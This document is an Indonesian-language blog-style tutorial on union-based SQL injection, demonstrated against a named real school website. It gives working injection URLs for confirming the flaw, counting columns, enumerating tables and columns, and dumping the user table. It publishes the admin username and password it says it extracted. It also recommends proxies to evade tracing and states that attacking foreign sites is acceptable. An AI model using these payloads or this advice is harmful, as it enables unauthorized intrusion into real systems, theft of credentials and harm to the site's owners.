SQL Injection di PHP tentu berbeda. SQL Injection di PHP biasa disebut dengan Blind SQL (SQL Buta). Disebut Blind, karena kita hanya menebak-nebak tanpa mengetahui informasi apapun dari suatu server PHP.
Yang harus diketahui sebelum sql injection pada php, di depan sama dengan ditambahkan tanda minus (id=-) itu artinya sama dengan 1=2 agar id tersebut bernilai error,dan dibelakang menggunakan /* itu sama artinya –,# menandakan akhir perintah.
Sekarang saya akan memberikan 1 buat contoh web.. (tapi mohon ini web jangan di deface ^_^).
Sebelum kalian belajar blind sql ada baiknya kalian mempelajari cara mencari target nya.. Untuk itu kalian terlebih dahulu harus mengerti dari special syntax yang ada pada Google…
Contoh : allinurl, Intitle, site dll. Baca Disini.
OK lanjut pada tahap selanjutnya…
Sebelumnya saya telah mendapatkan target yaitu :
http://methodist.sch.id/message.php?id=6
Cara mengecek bug pada ini web…
* Tambahkan and 1=0 (bernilai false)
http://methodist.sch.id/message.php?id=6 and 1=0
(artikel web menghilang)
* Tambahkan and 1=1 (bernilai true)
http://methodist.sch.id/message.php?id=6 and 1=1
(artikel web tampil kembali)
dari percobaan tersebut dapat dipastikan bahwa web tersebut mempunyai celah untuk di hack dengan sql.
Kemudian kita akan mencari magic number pada web tersebut agar kita dapat memasukan query sql nya.
* Kita akan gunakan order by 1– (berfungsi untuk mencari finished number)
http://methodist.sch.id/message.php?id=6 order by 1–
http://methodist.sch.id/message.php?id=6 order by 2–
(cari sampai kalian mendapatkan batasan web tersebut error).
Contoh :
http://methodist.sch.id/message.php?id=6 order by 4– (artikel webnya tampil)
http://methodist.sch.id/message.php?id=6 order by 5– (artikel webnya menghilang)
maka secara kesimpulan number finished web tersebut berada pada angka 4.
Mencari Magic Number
* Kalian dapat gunakan tanda Minus pada akhir tanda sama dengan =- dan menambahkan
tanda — sebagai tanda akhir perintah di belakang Url target.
Contoh : http://methodist.sch.id/message.php?id=-… union select 1,2,3,4–
http://www.geocities.com/reshindra_jaya/…
pada gambar di atas tampaklah angka 2,1, dan 4. inilah yang disebut magic number..
Penjelasan: dari angka 1,2,3,4 pada union select hanya angka 1,2,dan 4 yang bisa
kalian gunakan. coba aja gunakan perintah sql..
Contoh : http://methodist.sch.id/message.php?id=-… union select 1,version(),3,4–
maka akan tampil wersi mysql pada web tersebut dan kalian juga bisa menggunakan @@version untuk menggantikan version() karena @@version=version().
Mengeluarkan table name pada Web
* Disini saya akan menggunakan group_concat untuk mengeluarkan tabel secara keseluruhan. Klo pake limit bakalan lama jadinya.
syntax : union select group_concat(table_name) from information_schema.tables where table_schema=database()–
artinya : kita akan mengeluarkan keseluruhan tabel menggunakan information schema dimana table yang dischema adalah dari fungsi query database().
Jadi bisa diartikan database() adalah perintah yang digunakan untuk melihat nama database.
Contoh : http://methodist.sch.id/message.php?id=-… union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–
atau : http://methodist.sch.id/message.php?id=-… union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=0×6D6574686F6469735F6D6574686F–
http://www.geocities.com/reshindra_jaya/…
Aku jelaskan 2 contoh di atas..
0×6D6574686F6469735F6D6574686F = adalah Hexa string dari Ascii text nya methodis_metho, Kemudian apa dan darimana saya dapatkan kata2 methodis_metho..?
methodis_metho adalah nama database yang ada pada web target tersebut.. Untuk mengecek nya bisa anda tes..
contoh : http://methodist.sch.id/message.php?id=-… union select 1,database(),3,4–
Mengeluarkan column name pada Web
* Untuk mengeluarkan column name syntax nya sama aja dengan mengeluarkan table name, hanya saja kata2 table nya kita ganti dengan column.
syntax : union select group_concat(column_name) from information_schema.columns where table_name=nama_table_target–
artinya : kita akan mengeluarkan keseluruhan column menggunakan information schema dimana table name nya = table yang jadi tujuan
Contoh : saya ingin mengeluarkan column yang ada pada table t_user yang tampil pada web target.
http://methodist.sch.id/message.php?id=-… union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0×745F75736572–
http://www.geocities.com/reshindra_jaya/…
Col_name: f_user,f_name,f_password
Mengeluarkan Field pada column web
* sekarang kita ingin melihat isi dari column name tersebut
Contoh : http://methodist.sch.id/message.php?id=-… union select 1,group_concat(f_user,0×2d2d,f_name,0×2d2d,f_passw ord),3,4 from t_user–
http://www.geocities.com/reshindra_jaya/…
kesimpulan : dari column_name=f_user,f_name,f_password dimana table_name=t_user dan database_name=methodis_metho, maka berhasil kita dapatkan :
user : admin
nama : admin
pass : 159357
^_^
Nb : * http://www.piclist.com/techref/ascii.htm <== untuk mengubah ascii text ke hexa string
* Setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari whiteorblack = 77686974656F72626C61636B
bila di gunakan akan menjadi = 0×77686974656F72626C61636B (untuk info dapat di baca pada http://www.piclist.com/techref/ascii.htm)
* Jangan pernah melakukan deface or pencurian data web pada web indonesia..( klo web luar ngak papa dech..)
* Jika ingin login sebaiknya menggunakan proxy atau tunnel untuk lebih aman.
My opinion : *Ilmu yang baik adalah ilmu yang diajarkan kepada orang lain meski ilmu itu jelek sekalipun*
Heheh….dari nebak2 tuh lah vay…
artinyo kito harus biso nebak table adminyo dibuat dengen namo apo…
Klo sudah dapet table adminnyo tinggal tes be langsung from table admin..
Contoh:
* http://methodist.sch.id/message.php?id=-… union select 1,2,3,4– (anggap sebagai versi 4)
nah tinggal di tambahin nama table_admin nya aja..
Contoh:
* http://methodist.sch.id/message.php?id=-… union select 1,2,3,4 from nama_table–
Klo nama table nya bener maka Magic numbernya akan tetep tampil.. tapi klo salah maka Magic angka nya akan hilang.. buat buktiin kita tes aja langsung..
Final test:
* http://methodist.sch.id/message.php?id=-… union select 1,2,3,4 from user–
(Magic numbernya hilang karena table name nya salah)
* http://methodist.sch.id/message.php?id=-… union select 1,2,3,4 from t_user–
(Magic numbernya tampil berarti table adminnya bener).
Nb : biasanya sebuah admin akan membuat nama table user yang sama setiap dia membuat website